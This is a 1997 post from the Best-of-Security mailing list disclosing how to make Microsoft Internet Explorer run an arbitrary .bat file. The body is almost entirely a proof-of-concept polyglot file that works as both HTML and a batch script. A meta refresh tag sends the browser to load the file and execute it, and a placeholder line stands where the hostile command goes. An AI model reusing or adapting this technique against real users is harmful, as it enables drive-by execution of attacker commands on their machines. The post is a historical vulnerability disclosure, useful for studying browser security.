[67] in Best-of-Security
BoS: make MSIE run any .bat file
daemon@ATHENA.MIT.EDU (proff@suburbia.net)
Mon Mar 10 00:14:36 1997
Date: 10 Mar 1997 03:25:03 -0000
From: proff@suburbia.net
Reply-To: best-of-security@suburbia.net
Errors-To: best-of-security-request@suburbia.net
To: best-of-security@suburbia.net
Resent-From: best-of-security@suburbia.net
http://foo.com/blah.bat
-------------------------
@echo "<html>" > nul
@echo Insert Evil Command of the Week here!
exit
<meta http-equiv="refresh" content="0; url=w/blah.bat">
@echo "</html>" > nul
